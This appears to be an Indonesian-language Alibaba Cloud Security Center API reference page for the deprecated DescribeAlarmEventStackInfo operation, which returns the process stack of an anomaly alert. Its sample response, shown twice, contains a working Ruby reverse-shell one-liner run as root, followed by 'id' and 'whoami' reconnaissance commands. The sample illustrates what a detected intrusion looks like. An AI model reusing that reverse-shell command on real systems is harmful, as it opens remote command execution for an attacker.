Mengambil informasi stack dari event alert anomali.
API ini telah ditinggalkan tanpa pengganti. Meskipun akses sementara masih tersedia, tidak akan ada pembaruan atau perbaikan bug lebih lanjut. Untuk memastikan fungsionalitas berkelanjutan, rencanakan migrasi Anda dan hubungi manajer akun Anda untuk mendapatkan dukungan.
Coba sekarang
Test
RAM authorization
|
Action |
Access level |
Resource type |
Condition key |
Dependent action |
|
yundun-sas:DescribeAlarmEventStackInfo |
get |
*全部资源
|
None | None |
Parameter permintaan
|
Parameter |
Type |
Required |
Description |
Example |
| SourceIp |
string |
No |
Alamat IP sumber akses. |
192.168.XX.XX |
| Lang |
string |
No |
Tipe bahasa untuk pesan permintaan dan tanggapan. Nilai default: zh. Nilai valid:
|
zh |
| Uuid |
string |
Yes |
UUID Aset yang akan dikueri. Catatan
Panggil operasi DescribeSuspEvents untuk mendapatkan parameter ini. |
18b7336e-d469-473b-af83-8e5420f9**** |
| EventName |
string |
Yes |
Nama event. Catatan
Panggil operasi DescribeSuspEvents untuk mendapatkan parameter ini. |
Variable Trojan |
| UniqueInfo |
string |
Yes |
Pengenal unik event alert. |
1fbe8d16727f61d1478a674d6fa0**** |
| ResourceDirectoryAccountId |
integer |
No |
ID akun anggota di folder Sumber daya. Catatan
Panggil operasi DescribeMonitorAccounts untuk mendapatkan parameter ini. |
127608589417**** |
Elemen respons
|
Element |
Type |
Description |
Example |
|
object |
|||
| StackInfo |
string |
Informasi stack dari detail alert. |
[ { "child": [ { "child": [ { "child": [ ], "data": { "cmdline": "id", "proc_path": "/bin/id", "pid": "[3033]" }, "description": { "extend": [ ], "main": { "content": "${pid} ${cmdline}", "content_type": "markdown" } } }, { "child": [ ], "data": { "cmdline": "whoami", "proc_path": "/bin/whoami", "pid": "[3035]" }, "description": { "extend": [ ], "main": { "content": "${pid} ${cmdline}", "content_type": "markdown" } } } ], "data": { "cmdline": "/bin/bash -c 'id && whoami'", "proc_path": "/bin/bash", "pid": "[3022]" }, "description": { "extend": [ ], "main": { "content": "${pid} ${cmdline}", "content_type": "markdown" } } } ], "data": { "src_ip": "0.0.0.0", "cmdline": "ruby -rsocket -e exit if fork;c=TCPSocket.new(\"0.0.0.0\",\"1111\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end", "file": "ruby", "login_port": "22", "login_type": "password", "proc_path": "/usr/bin/ruby", "dst_port": "1111", "pid": "3011", "user": "root", "dst_ip": "0.0.0.0", "log_time": "2020-01-20 09:00:00" }, "description": { "extend": [ { "content": "${tpl_netstat}", "content_type": "text" } ], "main": { "content": "${pid} ${cmdline}", "content_type": "markdown" } } } ] |
| RequestId |
string |
Pengenal unik yang dihasilkan Alibaba Cloud untuk permintaan. |
ECC6B3E3-D496-512D-B46D-E6996A6B63EE |
Contoh
Respons sukses
JSONformat
{
"StackInfo": "[\n {\n \"child\": [\n {\n \"child\": [\n {\n \"child\": [\n \n ],\n \"data\": {\n \"cmdline\": \"id\",\n \"proc_path\": \"/bin/id\",\n \"pid\": \"[3033]\"\n },\n \"description\": {\n \"extend\": [\n \n ],\n \"main\": {\n \"content\": \"${pid} ${cmdline}\",\n \"content_type\": \"markdown\"\n }\n }\n },\n {\n \"child\": [\n \n ],\n \"data\": {\n \"cmdline\": \"whoami\",\n \"proc_path\": \"/bin/whoami\",\n \"pid\": \"[3035]\"\n },\n \"description\": {\n \"extend\": [\n \n ],\n \"main\": {\n \"content\": \"${pid} ${cmdline}\",\n \"content_type\": \"markdown\"\n }\n }\n }\n ],\n \"data\": {\n \"cmdline\": \"/bin/bash -c 'id && whoami'\",\n \"proc_path\": \"/bin/bash\",\n \"pid\": \"[3022]\"\n },\n \"description\": {\n \"extend\": [\n \n ],\n \"main\": {\n \"content\": \"${pid} ${cmdline}\",\n \"content_type\": \"markdown\"\n }\n }\n }\n ],\n \"data\": {\n \"src_ip\": \"0.0.0.0\",\n \"cmdline\": \"ruby -rsocket -e exit if fork;c=TCPSocket.new(\\\"0.0.0.0\\\",\\\"1111\\\");while(cmd=c.gets);IO.popen(cmd,\\\"r\\\"){|io|c.print io.read}end\",\n \"file\": \"ruby\",\n \"login_port\": \"22\",\n \"login_type\": \"password\",\n \"proc_path\": \"/usr/bin/ruby\",\n \"dst_port\": \"1111\",\n \"pid\": \"3011\",\n \"user\": \"root\",\n \"dst_ip\": \"0.0.0.0\",\n \"log_time\": \"2020-01-20 09:00:00\"\n },\n \"description\": {\n \"extend\": [\n {\n \"content\": \"${tpl_netstat}\",\n \"content_type\": \"text\"\n }\n ],\n \"main\": {\n \"content\": \"${pid} ${cmdline}\",\n \"content_type\": \"markdown\"\n }\n }\n }\n]",
"RequestId": "ECC6B3E3-D496-512D-B46D-E6996A6B63EE"
}Kode kesalahan
|
HTTP status code |
Error code |
Error message |
Description |
|---|---|---|---|
| 400 | NoPermission | no permission | |
| 400 | RdCheckNoPermission | Resource directory account verification has no permission. | |
| 500 | RdCheckInnerError | Resource directory account service internal error. | |
| 500 | ServerError | ServerError | |
| 403 | NoPermission | caller has no permission |
Lihat Error Codes untuk daftar lengkap.
Catatan rilis
Lihat Release Notes untuk daftar lengkap.